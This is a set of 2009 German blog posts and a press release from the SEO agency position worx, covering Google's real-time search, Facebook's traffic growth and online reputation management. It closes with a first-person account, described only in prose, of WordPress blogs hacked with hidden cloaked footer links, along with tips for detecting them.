Die Live Search ist auf google.com bereits online und wird voraussichtlich auch in Kürze auch in google.de integriert sein. Sie beinhaltet neben aktuellen Ergebnissen aus Blogs, Foren, News etc. auch die neuesten Beiträge von Social Media - Seiten wie z.B. Twitter.com.

Zur Darstellung von hoch frequentierten  Themen gibt es ein dynamisches Fenster, das sich fortlaufend aktualisiert und etwa zwei Zeilen der Suchergebnisseite in Anspruch nimmt.

Auf der linken Seite gibt es jetzt mehrere Optionen, mit denen man seine Suche zeitlich und auf bestimmte Arten von Seiten einschränken kann.

Die sich selbst aktualisierende Live Search erscheint nur bei Keywords die besonders häufig diskutiert bzw. „getweetet“ werden. Die Position des Ergebnisfensters variiert je nach Thema. Da sich Google momentan noch in der Testphase befindet, werden eventuell noch einige Änderungen folgen.

Welche Auswirkungen hat Googles Live Search auf das Verhalten der User und auf Werbetreibende?

Da die Live Search vor allem hoch aktuelle Themen betrifft, ist davon auszugehen, dass sie im Bereich News einen Großteil des Traffics auf Social Media Seiten lenken wird.

Obwohl viele statische Themen von der Live Search nicht betroffen sein werden, steigen die Möglichkeiten sich durch eine aktive Präsenz auf Social Media Seiten auf der 1. Seite zu platzieren.

Weiterhin steigt der potentielle Einfluss von Social Media auf Produktbewertungen und Kaufentscheidungen. Vor allem für Werbetreibende die ein direktes Feedback brauchen oder mit ihren Nutzern in Kontakt treten wollen, ist die Live Search ein praktisches Feature.

Auf der anderen Seite bedeutet dies, dass vernachlässigte Social Media Aktivitäten und fehlendes Online Reputation Management zu einem starken Handycap werden können.

Auch außerhalb der Social Media Aktivitäten steigen die Anforderungen. Durch den Verlust an Raum für organische Ergebnisse, werden Suchmaschinen-Optimierung und ausgefeilte SEM-Kampagen immer wichtiger.

Eine Verschärfung für Werbetreibende tritt hier vor allem im Umstand auf, dass bei einer eingegrenzten Suche überhaupt keine Anzeigen eingeblendet werden.

Kritisch hervorzuheben ist die teilweise fehlende Relevanz der Ergebnisse, welche ja eigentlich die Stärke von Google ist. Hier bleibt nur zu vermuten, dass Google vermeiden wollte Microsofts Suchmaschine Bing allzu lange Vorreiter der Live Search sein zu lassen (Bing führte schon vor einigen Wochen Live-Ergebnisse in die Suche ein) und deshalb ohne ausführliches Testen online gegangen ist.

Im Endeffekt stellt sich vor allem die Frage, für welche Branchen, Leistungen, Produkte und Suchende diese Art der Suchergebnisse überhaupt von Bedeutung ist. Echtzeitergebnisse könnten z.B. in der Reisebranche hochrelevant sein. Dort werden die Aussagen anderer Gäste und ehemaliger Besucher besonders stark in die Kaufentscheidung miteinbezogen. In der Reisebranche könnte die Live Search dazu führen, dass die klassische Suchmaschinen-Optimierung gerade in Peakzeiten wie Januar, Februar, Juni und Juli zurückgedrängt werden könnte.

Eine Momentaufnahme des Keywords „ski urlaub“ in der Live Search sieht folgendermaßen aus:

Die Live Suche macht es möglich gezielt nach den neuesten und attraktivsten (und günstigsten) Angeboten zu suchen, ohne die Suchmaschine zu verlassen. Ein denkbares Extrem wäre ein Live-Angebotswettbewerb bei dem man direkt aus Google buchen kann.

Die Frage aus der Sicht Werbetreibender lautet dann natürlich, wie man bei mehreren neuen Beiträgen pro Minute in der Live Search überhaupt sichtbar bleiben kann.

Auf der einen Seite ist da Google gefragt, das die Relevanz der Suchergebnisse dementsprechend hochhalten muss und eventuelle Spam - Accounts schnell identifizieren muss. Andererseits ist der Werbetreibende am besten bedient, wenn er sich innerhalb einer Gesamtstrategie auf seine „Nische“ konzentriert und seine Social Media Channel pflegt. Häufig aktualisierte, attraktive und hoch frequentierte Social Media Kanäle sollten eine hohe Relevanz  für die entscheidenden Keywords besitzen.

Wann die Live Search tatsächlich für google.de verfügbar ist, steht noch nicht fest. Zum Vorabtesten auf  http://www.google.com/trends gehen und ein „Hot Topic“ auswählen, dann befindet man sich in der Live Search.

position worx, gegründet während der Vorboten der Rezession, sollte mehr werden, als nur eine x-beliebige Suchmaschinen Marketing Agentur. Der Einzug in unser Büro am Hansaring in Köln ging ebenso reibungslos von statten, wie die gesamte Gründung des Unternehmens.

Nach den ersten Monaten harter, aber von viel Spaß begleiteter, Entwicklungszeit unserer Technologien, haben wir bis heute nicht nur ein Vielzahl neuer Technologien und Services rund um das Thema webbasierte Suche aufgebaut, sondern konnten unsere Kunden auch von unserer Kompetenz im Bereich des Online Reputation Management und Social Media Marketing überzeugen. Neue Kunden wie Hewlett Packard Snapfish, Hamburg Tourismus, DKK Deutsche Kautionsgemeinschaft AG, super-urlaub.de und autovermietung.de, bestätigen unsere von Erfolg und Transparenz begleitete Qualitätsarbeit.

Gerade in den letzten Wochen konnten wir weitere Kunden aus Tourisitik, Verlagswesen und e-Commerce gewinnen, die den eingeschlagenen Kurs bestätigen.

Für dieses spannende Jahr voller interessanter Aspekte in unserer Weiterentwicklung, möchten wir uns bei unseren Kunden, ganz besonders ÖGER TOURS und Auto Europe, sowie bei unseren Partnern, ganz besonders MärzheuserGutzy Kommunikationsberatung, Netzvitamine, DSFT und Marco Krahmer, herzlich bedanken. Ohne Euch wäre das alles nicht möglich gewesen!

Wir blicken voller Spannung und Optimismus in die Zukunft und hoffen weiterhin so überzeugend den nötigen Schritt voraus zu sein.

position worx Management Team

Top-3-Rankings

Zusätzlich zu der Universal-Search (gemischte Ergebnisse von Nachrichten, Videos, Blogs und RSS-Feeds) erscheint eine neue Version von „ Mini-Sitewide Links“ (siehe Bild unten), eine erweiterte Palette von Ergebnissen für die Google-Suche unterhalb des eigentlichen Eintrages.

Mini-Sitewide

Mini Sitewide Links

Das erscheinen dieser Links als Sitewide Links bringt Ihnen nicht nur einen Wettbewerbsvorteil ein, die Kontrolle über sekundär und tertiärem Keyword erhöht sogar Ihre Click Rate und steigert die Conversion durch Verkürzung der Klick Wege.

Anstelle einer typischen Liste der Top 10 Ergebnisse (Suche nach „top 10“) zeigt Google bei den neuen Top 3 Suchergebnissen nach 2 Teilern ironischer Weise 13 Suchergebnisse an.
7 + im Teiler 3 + 3
Siehe: http://www.google.de/search?client=firefox-a&rls=org.mozilla%3Ade%3Aofficial&hs=JEi&q=top+10&btnG=Suche&meta=lr%3D

Die Vorstellung, dass der Algorithmus zusätzliche Synonyme, Mutationen und Schreibfehler für Major Keywörter zulässt und diese Ihre Snippets besser darstellen lässt kann einen drastischen Anstieg Ihrer Clickthrough Rate zur Folge haben oder sogar an Top Webseiten einfach vorbeiziehen und diese ohne viel zutun auf Platz 4 zu verweisen.

Keywörter sind das Herz der Suchmaschinenoptimierung. Die Taktik mit Ihren Keywörtern in den Longtail Bereich zu gehen und Phrasen, Synonyme, Qualifier und Schreibfehler mit aufzugreifen, kann also in der Zukunft sehr großen Einfluss auf die Darstellung Ihrer Suchergebnisse haben.

Gerade schwache Webseiten, wie Blogs, Foren oder Private Webseiten die bekanntlich mit einer hohen Anzahl von unqualifiziertem Content (Slang, Falschschreibweisen, Phrasen) nur so strotzen heben sich stark von der Keywordwahl einer Corporate Webseite ab. Inhaltlich, Stilistisch und ganz besonders in den Variationen der Keywörter sind diese Webseiten viel Content reicher als eine noch so gut optimierte Firmenwebseite wie wir sie heute kennen.
Wenn Sie also Ihre Webseite auf Keywörter optimieren, achten Sie auf die Auswahl. In der Zukunft kann „Suchmaschinenoptimierung Agentur“, „Suchmaschinenoptimierungskosten“, „Suchmaschinenoptimierungstraining“ folgerichtig eine bessere Keyword Wahl sein als eine Webseite die Beispielsweise mit einer hohen Keyword Density auf nur ein Major Keyword wie „Suchmaschinenoptimierung“ optimiert. Denn schnell wird aus Ihrem ersten Platz, ein vierter Platz bei 13 Suchergebnissen.

Im März veröffentlichte compete.com Statistiken die annehmen lassen, dass es passieren könnte, das Facebook im Bereich Unique Visitors den Riesen Google hinter sich lassen könnte.
Sieht man sich die Zahlen von September 08 bis März 09 an, so haben diese sich in der Zeit verdoppelt. Demzufolge wäre die Annahme gerechtfertigt. Es scheint so das Facebook mit seinen über 180 Millionen Nutzern weltweit – Tendenz steigend - zu einer ernsten Konkurrenz für Google werden könnte.

Unique Visitor Facebook.com vs. Google.com

Jetzt werden natürlich wieder einige aufschreien und sagen: „Man kann doch nicht Äpfel und Birnen vergleichen.“ Stimmt kann man nicht – oder doch? Zumindest wenn man sich die Firmen ansieht, die in Äpfel und Birnen investieren. Sind Äpfel nicht viel populärer als Birnen? Was passiert, wenn auf einmal die Birnen beliebter werden als Äpfel? Firmen würden mehr in deren Weiterverarbeitung investieren. So kann es wohl auch Google ergehen wenn Facebooks Wachstum so weitergeht wie bisher. Demnach könnte der Konkurrenzdruck größer werden. Nicht im Suchmaschinenmarkt, aber darin wo die Werbekunden ihr Geld investieren möchten.
Wir wollen uns nichts vormachen. Sicher werden in naher Zukunft immer noch die meisten Menschen Google verwenden um Informationen zu finden und Werbetreibende werden auch in Zukunft in Google investieren, sogar eventuell mehr, jetzt da Google personalisierte Werbung betreibt. Aber Facebook personalisiert ebenfalls und dieses Potential sollte nicht außer Acht gelassen werden.
Der meiste Facebook generierte Traffic stammt aus Links, die Teilnehmer in den Bereichen Notes und Photos posten. Wenn Facebooks Einfluß als Trafficquelle genauso weitersteigt ist der nächste Schritt, herauszufinden wie man den Traffic umwandelt und daraus größeres Kapital im “paid search“ Bereich schlagen kann.

Uniques von Facebook

Um dem gängigen Gerücht vorzubeugen Facebook würde für Google immer wichtiger werden, erst einmal die Grundlage dieser These.

Laut diesen Zahlen von comScore bezieht Google 19% seiner Besuche von Facebook.
Nun jeder, der sich mit Google sowie Facebook auskennt, wird sich wundern wie das zustande kommen soll. Facebook hat keine Google searchbox implementiert und ebenso existiert kein Link zur Suchmaschine. Wie soll also eine Weiterleitung von Facebook zu Google funktionieren?
Die Antwort ist banal: Nämlich gar nicht!
comScore untersucht lediglich die Suchreihenfolge. Demnach sind 19% der Besuche auf Google ein Besuch auf Facebook vorausgegangen. Nicht mehr und nicht weniger. Da aber in mehreren Blogs diese 19% als immens wichtig tituliert werden, wird es Zeit dies ein wenig zu durchleuchten.

Facebook hat dennoch einen riesigen Nachteil gegenüber Google; Facebooks Geschäftsmodell in diesem Bereich ist noch sehr frisch. Seit ende 2007 gibt es erst die Möglichkeit Werbung bei Facebook zu schalten.
Wenn Facebook wie gewohnt weiter wächst und eine Möglichkeit findet den Ad Bereich weiter auszubauen, dann könnte es zu einem rieseigen Geschäftsmodell mutieren, wobei die Investoren dann zu entscheiden hätten in welchem Umfang sie in Google und Facebook werben.

Möglichkeiten für Werbetreibende gibt es einige:

- zum einen natürlich der reine Traffic ist ein Anziehungspunkt der nicht zu verachten ist.

- Leute könnten sich einfach als Freunde in den jeweiligen Anbieter eintragen und werden so kontinuierlich mit Neuigkeiten informiert, sofern sie an dem Produkt interessiert sind.

- Genauso wie Twitter besteht das Potential es als großes Tool für den Kundenservice zu nutzen.

- Als Anbieter besteht so die Möglichkeit mit der Öffentlichkeit Kontakt zu halten und die Markenbekanntheit zu fördern.

- Man kann beobachten was andere in Facebook über das eigene Produkt sagen und so seine Online Reputation beobachten und optimieren.

- Die Möglichkeit Facebook Advertising zu betreiben. Facebook bekommt mittlerweile schon 1/3 der Unique Visitors, die Google bekommt.

- Facebooks Gimmick “Beacon”. Damit werden Aktionen, die eingeloggte Facebook-Mitglieder auf Partnerseiten unternehmen, über den Newsfeed an alle Kontakte weitergegeben.

Man wird sehen was die Zukunft aus Facebook macht, das Potential ist unübersehbar. Man soll nicht erwarten das Google einem sagt was die 200 besten Freunde gerade machen und man erwartet auch nicht von Facebook herauszufinden was am 14.Juli 1789 geschah. Aber in manchen Dingen überlappen sich das soziale Netzwerk und die Suchmaschine und die Funktionen die Facebook bietet sind im Bereich der Werbung durchdacht und wenn sich der Trend weiterentwickelt sollte in der Suchmaschinenmarketingwelt ein Auge auf das noch schlummernde Monster geworfen werden.

ÖGER TOURS bucht Kampagnen-Know-how bei position worx

Köln, 7. April 2009 – Europas größter Türkei-Reiseveranstalter ÖGER TOURS legt seinen sechsstelligen Jahresetat für SEM und SEO in die Hände von position worx. Die Spezialisten des SEM-/SEO-Agenturen-Networks konnten in einem Pitch mit ihrer Expertise in der Online-Reise-Branche und dem umfangreichen Know-how beim Management komplexer internationaler Kampagnen überzeugen. Ausschlaggebend für den Zuschlag war vor allem auch die ganzheitlich verstandene Dienstleistung von position worx, die neben der tiefgehenden Kampagnen-Analyse, auch Kunden-Trainings und umfassende Reportings vorsieht. Die Online-Marketing-Verantwortlichen von ÖGER TOURS legten zudem besonderen Wert auf eine direkte und offene Kommunikation, um in die Maßnahmen direkt eingebunden zu sein. Der partnerschaftlichen Zusammenarbeit ging zunächst eine dreimonatige Testphase voraus, die beeindruckende Ergebnisse lieferte. So konnten die Abverkäufe trotz der schwierigen wirtschaftlichen Rahmenbedingungen auf dem Vorjahresniveau gehalten werden.

Öger Tours

Okan Doganaslan, Leiter Sondervertrieb/Vertrieb bei ÖGER TOURS, zeigt sich mit der Zusammenarbeit äußerst zufrieden: „Wir haben für unser Online-Marketing einen Partner gefunden, der sich als Teil unseres Teams versteht. Uns ist ein reger Austausch über die SEM-/SEO-Aktivitäten sehr wichtig, um wirklich zu verstehen wo wir stehen und was unternommen werden muss. Die analytische Vorgehensweise und die sehr detaillierten aufschlussreichen Reportings von position worx haben uns die Entscheidung aber leicht gemacht.“

Gerade in der Online-Reise-Branche ist für eine gute Kampagnenperformance fundiertes Know-how über die speziellen Suchgewohnheiten der Internetnutzer und der branchenspezifischen Besonderheiten von großer Bedeutung. Denn das Buchungsverhalten weist typische saisonale und regionale Muster auf. So sind beispielsweise in der Monatsmitte oder am Monatsende, wenn die Gehälter ausgezahlt werden, deutliche Spitzen bei den Buchungen festzustellen. Doch obwohl die Websuche gerade in diesem Segment eine so wichtige Rolle spielt, wird von vielen Reiseveranstaltern der Suchende immer noch unzureichend bei seinen Bedürfnissen abgeholt. Unpassende Überschriften und Werbetexte, fehlende Bilder und Bewertungen, zu allgemeine Angebote, das sind die klassischen Fehler, die einem bei der Suche nach einer Reise begegnen.

Um das Versprechen, das eine Textanzeige dem Suchenden macht, auch wirklich einzuhalten, sollten dem User nur relevante Angebote gemacht werden, die ihn auch interessieren. Eine gründliche Analyse des gesamten Kampagnenflusses ist daher Grundvoraussetzung. Zudem sind neben einer konstanten Wettbewerbsbeobachtung, ein durchdachtes Timing der Kampagnen und genaue auf die Zielgruppe ausgerichtete Werbetexte entscheidend.

Jürgen Wiest, Managing Director von position worx, freut sich über die Zusammenarbeit mit dem großen Reiseveranstalter: „ÖGER TOURS ist eine herausragende Adresse im Online-Reise-Markt. Wir sind sehr stolz, dass wir diesen innovativen Anbieter von unserer Touristik-Expertise überzeugen konnten. Unserer Philosophie folgend, verstehen wir uns als ausgegliederte Online-Abteilung des Unternehmens, auf die man sich wirklich verlassen kann.“

Über position worx

position worx ist ein unabhängiges Full-Service-SEM-/SEO-Agenturen-Network, das im August 2008 als Spin-Off einer großen europäischen Suchmaschinen-Marketing-Agentur hervorgegangen ist. Das Leistungsspektrum von position worx reicht von Suchmaschinen-Marketing und Suchmaschinen-Optimierung über die mobile Suche, Produktsuchmaschinen- und Preisvergleichs-Optimierung bis hin zu Online-Reputation-Management für Privatpersonen und Unternehmen. Den Schwerpunkt ihrer Arbeit legt die Agentur mit Hauptsitz in Köln dabei auf den Transfer ihres Wissens in die Unternehmenskultur und -struktur ihrer Kunden ebenso wie auf die langfristige strategische Unterstützung bei deren Weiterentwicklung im Internet. Dazu bietet das Expertenteam von position worx umfassende Analysen, Strategien und Trainings an. position worx geht es aber nicht nur darum, die richtigen Schlagworte zu finden und diese gezielt zu optimieren. Eine ethisch korrekte Herangehensweise ist ebenso wichtig. Das Unternehmen beschäftigt rund 30 Mitarbeiter in Deutschland, England und Dänemark mit durchschnittlich mehr als 10 Jahren Erfahrung im Online-Marketing.

Ansprechpartner für die Medien

position worx Ltd. & Co. KG

Jürgen Wiest
Managing Director

Hansaring 6
50670 Köln

Telefon: +49 (0)221.92 29 59-0
Telefax: +49 (0)221. 92 29 59-29
E-Mail: presse@positionworx.com

Internet: www.positionworx.com

c/o MärzheuserGutzy Kommunikationsberatung GmbH

Jochen Gutzy/Markus Pounder

Theresienstraße 6-8/Ludwigstraße
80333 München

Telefon: +49 (0)89.288 90-480
Telefax: +49 (0)89.288 90-45
E-Mail: positionworx@maerzheusergutzy.com

Internet: www.maerzheusergutzy.com

Zunehmend wichtiger wird das Thema Online Reputation Management. Mehr und mehr Firmen und auch Privatleute werden sich bewusst darüber, welchen Wert und Nutzen ein guter, oder welch verheerende Auswirkungen ein schlechter Ruf im Netz hervorbringen kann.
Das der persönliche Auftritt im Internet für Berufsanfänger eine große Rolle spielt ist mittlerweile überall angekommen. Welche Personalabteilung googelt nicht ihre potentiellen Mitarbeiter und Bewerber oder checkt sie in den gängigen Social Networks?
Vielleicht noch nicht so angekommen ist die Tatsache, dass jedermann heutzutage sich seines Frustes über das Internet ein Gehör verschaffen kann. Gerade zu Zeiten der Rezession, des Abbaus von Arbeitsplätzen und des damit verbundenen Ärgers der entlassenen Arbeitnehmer, muss man sich bewusst machen, dass es für die Online Reputation einer Firma verheerend sein kann, wenn sich die ehemaligen Mitarbeiter über Blogs und Social Networks, ganz leicht und ohne größere Probleme, ihrem Ärger Luft machen können.
Verhindern wird man das wohl nie können, aber Vorgehensweisen um den angerichteten Schaden entgegen zu wirken existieren und sollten durchaus genutzt werden.
Gefährlich kann es werden, wenn man seinem Online Ruf keine Beachtung schenkt. Was tun, wenn die Gewinne ausbleiben aufgrund der gegenwärtigen wirtschaftlichen Situation, und man keine Einnahmen mehr erzielen kann, da die ersten Suchergebnisse von Google nur negative Blogeinträge oder Kommentare zur Firma aufzeigen und damit die potentielle Kundschaft abschreckt? Der Kurs nach unten ist nicht mehr aufzuhalten, im schlimmsten Falle droht der Bankrott.
Schlimmste Beispiele gibt es aus den USA als eine namhafte internationale Firma 2008 ihren Bankrott erklären mußte aufgrund ausbleibender Kunden dank schlechtem Ruf, vor allem im Internet. Obwohl diese Firma Aufträge erteilt hat einen Bericht zur Lage ihrer Online Reputation zu erstellen, jedoch trotz schlechtem Ergebnis tatenlos blieb ist nicht zu erklären und stellt ganz klar die Unterschätzung dieses Bereichs dar.
Geschichten dazu gibt es hierzulande ebenfalls genug. Man nehme nur mal die immer öfter auftretenden Berichte über die Spionage an den eigenen Mitarbeitern. Schnell werden diese in der Bloggerwelt aufgenommen und verbreitet und entwickeln sich schnell zu einem Schneeballeffekt, dem nicht mehr ausreichend nachzukommen ist und je größer der Schneeball wird, desto mehr kostet es ihn zu entsorgen.
Hierfür ist nicht nur wichtig das man schlechten Einträgen in Blogs oder Kommentaren entgegenwirkt, sondern auch wie man dies tut.
Kritik konstruktiv beantworten in Foren und oder Blogs ist zum Beispiel eine von mehreren Möglichkeiten um angerichteten Schaden zu relativieren.

Folgend aufgeführt sind einige Tipps zum Umgang der Online Reputation:

Wie kann ich am besten meine Online Reputation überwachen?

Die wichtigste Quelle zur Informationsgewinnung sind wohl die Suchmaschinen Google, Yahoo, MSN. Nutzen Sie diese um Informationen zu erhalten über Ihre Firma, Namen und Produkte.
Da Blogs immer mehr Einfluß gewinnen, kann man mit dem Google Blog Search oder Technorati die Blogosphäre durchsuchen um Blogeinträge zu finden in dem Ihre Firma, Name oder Produkt erwähnt werden.

Desweiteren gibt es noch News Dienste, die schnell aufzeigen ob es aktuelle Meldungen zu Ihrer Firma oder Ihren Produkten gibt.
Erwähnenswert ist dabei die Möglichkeit einen News-Alert einzustellen. Dieser informiert Sie per Mail über Neuigkeiten zu den von Ihnen gewählten Begriffen.
Google-News, Yahoo-News, MSN-News.
Eine Kombination dieser Suchmöglichkeiten und eine Vielzahl weiterer Analysewerkzeuge und Suchmethoden bietet die REPUT’r -Technologie von position worx an.

Was kann bei negativen Ergebnissen unternommen werden?

Negative Ergebnisse z.B. in einem Blog können den Schaden den sie angestellt haben nie vollkommen wieder herstellen, jedoch haben Sie die Möglichkeit den Schaden zu begrenzen und die Möglichkeit sich zu den negativen Publikationen zu äußern.

Foren bieten die Möglichkeit sich einfach zu registrieren und eine Gegendarstellung zu schreiben.

Bei einem Blog besteht die Möglichkeit den Betreiber oder Verfasser des Blogs zu kontaktieren und Ihre Sicht darzustellen, oder sie verfassen einen Kommentar in dem Blogpost.

Auf einer statischen Website sollte man ebenfalls den Betreiber informieren/kontaktieren und versuchen ihn zu überzeugen das negative Feedback Offline zu nehmen.

Der Beste Weg jedoch sich vor einem schlechten Ruf im Internet zu schützen ist das erstellen von positiven oder neutralen Webseiten zu Ihrer Firma oder Person, welche mittels SEO vor den negativen Ergebnissen in den Suchmaschinen platziert werden sollten. Wenn die ersten 20-30 Suchergebnisse von Ihren Webseiten belegt werden, kann man sagen das Sie Ihre Online Reputation im Bereich Suchmaschinen unter Kontrolle haben.

Wie man seine Online Reputation ganzheitlich, also auch in Blogs, Foren und Communities überprüfen und schützen kann, lesen Sie in einem unserer nächsten Beiträge …

Für Journalisten gehört das Netz mittlerweile zu den wichtigsten
Recherchewerkzeugen. Neben Google sind die Webseiten der Unternehmen
wichtige Anlaufstellen – zur Vorbereitung auf Pressegespräche oder als
belastbare Quelle zur Überprüfung der viel zitierten „Fakten, Fakten,
Fakten“. Im hektischen Redaktionsalltag wünschen sich Journalisten gut
gemachtes und vor allem schnell verwertbares Pressematerial –

Pressemitteilungen, aber auch aussagekräftiges Bildmaterial. Aus unserer
Sicht ist das persönliche Gespräch mit den Medien zwar durch nichts zu
ersetzen. Wir wissen aber auch um die Arbeitsbedingungen in den
Redaktionen, die von extremem Zeitdruck geprägt sind. Weil wir den
Journalisten das Leben – sprich, die Recherche – möglichst einfach
machen wollen, haben wir den Pressebereich auf unserer Webseite kräftig
ausgebaut. Besonders wichtig war uns eine übersichtliche Gestaltung,
damit die Redakteure keine unnötige Zeit verlieren. Bei den
„Pressemitteilungen“ finden sich alle aktuellen Unternehmensmeldungen
von position worx im direkten Zugriff. Fotos und Logos in druckfähiger
Auflösung haben wir in der Rubrik „Pressematerial“ untergebracht.
Meistens muss es hier besonders schnell gehen. Wie könnte man das
benutzerfreundlicher gestalten als mit einem Download-Bereich?
Journalisten, die wissen wollen, was sich bei uns tut, können sich über
ein Online-Formular in unseren Presseverteiler aufnehmen lassen. Auf
eine aufwendige Anmeldeprozedur wie sie bei Großunternehmen gang und
gäbe ist, haben wir bewusst verzichtet. Schließlich wollen wir keine
Hürden aufbauen und sind über jeden Journalisten, der unsere Agentur auf
dem Radarschirm hat und redaktionell begleitet, dankbar. Und wer doch
den direkten Draht zu uns sucht, findet unter „Pressekontakt“ den
richtigen Ansprechpartner. Anruf ausdrücklich erwünscht!

Pressebereich

Das Wordpress nicht unbedingt zu den sichersten Content Management Systemen der Welt gehört, sollte mittlerweile bis in die letzten Ecken der Blogosphäre vorgedrungen sein.
Horrormeldungen von gehackten Blogs und infiltrierter Malware machen alltäglich die Runde und die Hilfeschreie nach einer einigermaßen sicheren und stabilen Version werden mit jedem neuen Release immer lauter.

Aber was ist heute noch sicher? Ein Grund warum position worx dieses Thema aufgreift ist die hohe Anzahl der neuerlich infizierten Blogs und die Hinterlistigkeit, wie dieser Angreifer sich andere Blogs zu nutzen macht. Der Schaden für jeden privaten Blog, sowie auch jeden Corporate Blog ist immens, denn meist ist ein Blog Bestandteil einer ganzen Präsenz. Ein Delisting aus dem Google Index, und sei es “nur mit einem Blog”, zieht selbstverständlich auch die Toplevel Domain mit ins Schlamassel.
Folglich kann ein gezielter Angriff, von dem Sie selber nicht viel merken werden, Ihr Online Business von heute auf morgen auslöschen. Ein neuerlicher Hack macht die Tage die Runde, der eben so hart zuschlägt wie beschrieben. Nennen wir ihn Hidden Footer Links Wordpress Exploit.

Die Story:
2 Wochen vor Weihnachten bemerkte ich einen hohen Traffic und Umsatzeinbruch auf rund 20 meiner Affiliate Blogs. Erklärungen waren hierfür schnell gefunden. Rezession und das bevorstehende Weihnachtsfest wurden von mir als Übeltäter ausgemacht, denn gerade die Affiliate Szene ist üblicherweise sehr stark abhängig von saisonalen und wirtschaftlichen Veränderungen und Ereignissen. In 2008 verzeichneten mehrere Partner rund 50% Gewinneinbußen und dies ging wie ein Querschnitt durch die ganze Affiliate Szene durch alle erdenklichen Nischen. Also war es kein Wunder, dass ich irgendwann auch an der Reihe war. Hinzu kamen die üblichen Gerüchte, dass Google mal wieder an der Stellschraube dreht. Also hieß es für mich abwarten und beobachten, denn nach einem Bergab, kam üblicherweise immer ein Bergauf. Eine Laune des Internets eben.
10 Tage nach dem unerklärlichen Einbruch wurde ich von einem potentiellen Reciprocal Link Exchange Partner angeschrieben, dass ich doch einmal meinen Blog anschauen sollte, denn mit dieser Masse an Outgoing Links sei er nicht gewillt einen Link zu mir zu setzen. So genannte Reciprocal Link Checker testen in diversen Zyklen, Linkpartner und die, die es werden wollen auf Bad Neighborhood und zu vieleln Out-links - ein Tool, welches qualifiziert und überwacht. Verdutzt nahm ich mein Blog genauer unter die Lupe, fand jedoch weder im Quellcode noch auf der Page irgendeinen Anhaltspunkt.
Nach einem genauen Blick in die Database stellte ich fest, dass diese zwar Recht groß geworden ist. Jedoch war ich nie einer von den Spezies, die bei solchen Anhaltspunkten direkt ein Verbrechen wittern. Also ließ ich Weihnachten verstreichen und kümmerte mich lieber um die üblichen Festivitäten.

Am zweiten Januar dann der Supergau. 20 High Traffic Blogs mit einem täglichen Traffic-Volumen von 20k verschwanden von einem Tag auf den anderen komplett aus dem Google Index. Schnell machte ich mich auf die Fehlersuche und fand noch einige Serps Schnipsel von noch nicht vom Index genommenen Unterseiten meiner Blogs.

Google zeigte mir eine Webseiten-Größe von über 180k an, was einer Ebay-Seite mit 50 Produkten gleich kommt, jedoch nicht einer Blog-Page mit einem Bild und gerade mal 100 Worten.

Auf der Page fand ich immer noch keinen direkten Hinweis auf den Übeltäter. Durch einen dummen Zufall klickte ich dann zufällig auf die Cache Version die Google bereitstellt, also die Version der Seite wie der Googlebot sie nur sehen kann. Im Footer meiner Page fand ich rund 800 versteckte Cloaking Footer Links, also für Besucher und Besitzer nicht sichtbar auf der Page aufgerufene Links zu anderen Webseiten.
Diese ruft der Angreifer mit einer relativ einfachen IF Abfrage auf. IF GoogleBot than … show him Links, IF Someone Else than show …. nothing:) die er mir in den Footer bzw. Header geschrieben hatte.

Wie der Angreifer diese Schwachstelle finden konnte, war mir unerklärlich, besonders wie der Cloaking Link in meinen Footer gekommen ist. Wenn es mit einer Blog Installation mal schnell gehen muss, vergesse ich gerne mal den Chmod von 777 auf 664 zurückzusetzen. Aber auf 20 verschiedenen Blogs war diese Erklärung doch recht unwahrscheinlich.
Cloaking,  um den Begriff hier kurz zu erklären: ist eine Technik, Google auf einer Webseite etwas andereszu präsentieren als wirklich vorhanden ist, mit dem Hintergrund die Webseite dadurch im Suchmaschinenindex besser zu positionieren. (Lesen Sie hier mehr zu den Folgen von Cloaking)
Als Schwachstelle stellte sich ein User der sich als Wordpress tarnt heraus - jedoch nicht von Wordpress bei der Installation als Default eingerichtet wird. D.h. über die Schnittstelle „Einen User anlegen“
gelangte der Feind in mein CMS und somit auch auf meine Database und Server.
Das fatale und gleichzeitig für mich glückliche daran ist die Tatsache, dass dieser Angriff via eines Bots, also automatisch und nicht per Hand erfolgte. Nicht auszumahlen wenn der Angreifer direkten manuellen Zugriff auf meinen Server gehabt hätte. Das fatale daran ist, dass der Angreifer anscheinend einen recht einfachen Weg gefunden hat, mit einem Bot das Internet nach älteren Wordpress Versionen zu abzusuchen und zu hacken. Bei welcher Version es genau zu dieser Sicherheitslücke führen konnte, ist für uns schwer zu sagen, jedoch wurden zwei Blogs mit der vorletzten Wordpress Version 2.06 gehackt, so dass man darauf schließen kann, dass alle Versionen unter dieser Versionsnummer von diesem Problem betroffen sind.
Hintergrund dieses Angriffes, der in der abgeschwächten Version schon Al Gore zum Opfer gefallen ist, kostenlos und hinterlistig an One Way Backlinks zu kommen. Wie allen bekannt sein sollte, sind Links die auf eine Webseite ausgerichtet sind ausschlaggebend für das Ranking im Suchmaschinenindex. Das Empfehlungsprinzip auf dem Google sein Ranking aufbaut. So erschleicht sich der Angreifer eine sechs bis siebenstellige Anzahl von One Way Backlinks.

Insgesamt wurden Deutschlandweit nach meinen Recherchen und den Anchor und Keyword Texten mit denen der Angreifer meines Wissens arbeitet, rund 100.000 Webpages infiziert.

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Sollte der Hacker auch nur zehn unterschiedliche Anchor Texte benutzen, erhöht sich die Anzahl der deutschsprachigen infizierten Blog Pages auf über 1 Million.
Deutschsprachig und alle englischsprachigen Webseiten zusammengefasst, kommt man nach kurzen Recherchen auf rund 3 Millionen gehackte Pages. Alleine die laufenden Traffickosten der Opfer die bisher noch nichts von ihrem Glück wissen, kann man auf rund 10 Millionen Euro monatlich Weltweit beziffern. Denn die Webseiten werden durch die Backlinks exorbitant groß und geht zu Lasten des Traffic Limits.

Und das ist wahrscheinlich nur die Spitze des Eisbergs, denn hierbei handelt es sich um Webseiten,
die von Google noch nicht wegen des Spam Verdachts vom Index genommen wurden.
Denken wir daran, dieser Hack existiert seit März 2008 und wurde Anfang Dezember in einer agressiveren Form neu aufgelegt.

Wie kann ich prüfen ob ich betroffen bin?

Die Sache ist relativ einfach. Testen Sie Ihr Blog mit dem Befehl site:meineseite.de/blog/ in der Google Suche.
Klickt man in den Suchergebnissen auf Cache Version und nicht auf die Website, zeigt Google die Cache Version, so wie der GoogleBot diese sieht an. Mit Rechtsklick auf “Quelltext Anzeigen”, können Sie dann Ihren Quelltext auf verdächtiges Untersuchen.

Sind Sie nicht betroffen, überprüfen Sie Ihre Version mit dem letzte Release auf Wordpress.org.
Mit einem Spider Simulator haben Sie auch eine Möglichkeit Ihre Webseite live zu prüfen.

Ich bin betroffen, was nun?

